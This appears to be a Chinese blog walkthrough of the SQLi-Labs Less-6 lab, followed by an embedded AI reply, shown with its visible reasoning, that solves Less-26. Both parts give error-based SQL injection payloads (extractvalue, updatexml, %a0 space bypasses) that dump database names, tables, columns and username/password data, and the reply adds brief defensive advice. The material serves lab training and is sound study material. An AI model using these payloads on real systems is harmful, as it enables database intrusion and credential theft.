Sqlilabs Less-6

本文介绍了SQL注入攻击的常见手法,包括双引号字符型注入,通过示例展示了如何进行数据库爆库、爆表、爆列以及爆数据。同时,讨论了这些攻击可能带来的安全风险,提醒开发者注意防范SQL注入,确保应用系统的安全性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

同样也是报错注入,是双引号字符型注入

爆库:

?id=1" and extractvalue(1,concat(0x23,database(),0x23)) --+

在这里插入图片描述
爆表:

?id=1" and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x23)) --+

在这里插入图片描述爆列:

?id=1" and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_name='users' limit 12,1),0x23)) --+

在这里插入图片描述爆数据:

?id=1" and extractvalue(1,concat(0x23,(select username from users order by id limit 0,1),0x23)) --+

在这里插入图片描述

<think>好的,用户想要解决SQLiLabs Less-26的挑战,我需要先回顾一下这个关卡的特点。Less-26通常涉及绕过过滤机制,比如过滤空格、注释符或者某些关键词。根据提供的引用内容,之前的关卡如Less-36提到使用GBK编码绕过转义,而Less-11、12和48使用了报错注入技术,比如extractvalue和updatexml函数。此外,Less-34涉及UTF编码的知识,可能与字符编码有关。 首先,我需要确认Less-26的具体过滤规则。根据经验,Less-26可能过滤了空格、注释符(如--+或#),可能还有某些关键字如union、select等。用户可能需要使用替代字符绕过过滤,比如用%a0代替空格,或者使用括号包裹注入语句。例如,使用报错注入时,需要确保闭合单引号,并绕过空格过滤。 接下来,构造注入语句。例如,爆库名时,可能需要用报错函数,结合concat和0x7e符号。同时,替换空格为%a0或使用括号。例如:'or(updatexml(1,concat(0x7e,(select database())),1))%26%26'a'='a。这里需要注意闭合原查询的单引号,并使用逻辑运算符绕过过滤。 另外,考虑字符编码的问题,可能需要调整字符集,如GBK,但根据引用[1],这需要设置正确的字符集。不过Less-26是否涉及字符集绕过还不确定,可能需要结合其他方法。 用户可能需要逐步测试过滤的字符,尝试不同的替代方法,比如使用重编码或特定符号代替空格。同时,确保注入语句的正确闭合,避免语法错误。在获取表名和字段名时,需要利用information_schema,并处理可能的过滤,例如将users表名用十六进制表示,避免单引号被过滤。 最后,总结步骤,帮助用户理解每个注入步骤的目的和方法,并提供相关问题以深化理解,如如何绕过其他过滤,替代空格的其他方法,以及报错注入的其他函数。</think>### SQLi-Labs Less-26 解决方案 #### 一、关卡特性分析 Less-26 是 SQLi-Labs 中针对**过滤空格和注释符**的注入挑战。主要过滤以下内容: 1. 空格(包括普通空格、`%20`、`+`) 2. 注释符(`--+`、`#`) 3. 部分关键词(如`union select`可能被拆分会失效) 引用示例中的报错注入技术[^2][^3]在此关卡仍适用,但需要绕过过滤规则。 --- #### 二、绕过过滤的核心方法 1. **替代空格的字符**: - `%a0`(URL 编码的不可见字符) - 使用括号`()`包裹语句 - 例如:`select(schema_name)from(information_schema.schemata)` 2. **绕过注释符**: - 通过逻辑运算符闭合语句,如 `'||'1'='1` 或 `'&&'1'='1` 3. **关键词拆分绕过**: - 使用写、大小写混合或插入特殊符号(如`uni%a0on sele%a0ct`) --- #### 三、分步骤注入流程 ##### 1. 判断注入点 输入测试载荷: ```sql '||'1'='1 ``` 若返回正常页面,说明存在字符型注入。 ##### 2. 爆数据库名 使用报错注入函数`updatexml`,替代空格为`%a0`: ```sql 'or(updatexml(1,concat(0x7e,(select%a0database())),1))%26%26'a'='a ``` - `%26%26` 是 `&&` 的 URL 编码 - 输出示例:`XPATH syntax error: '~security'` → 数据库名为 `security`[^3] ##### 3. 爆表名 ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database())),1))%26%26'a'='a ``` 输出示例:`~emails,referers,uagents,users` ##### 4. 爆字段名(以 `users` 表为例) ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='users')),1))%26%26'a'='a ``` 输出示例:`~id,username,password` ##### 5. 提取数据 ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(username,0x3a,password)%a0from%a0users)),1))%26%26'a'='a ``` 输出示例:`~Dumb:Dumb,Angelina:...` --- #### 四、防御措施(参考引用[^1]) 若开发中需防范此类攻击: 1. 使用 `mysql_real_escape_string()` 前设置字符集为 `gbk`: ```php mysql_set_charset('gbk', $conn); ``` 2. 使用预编译语句(PDO/MySQLi) ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值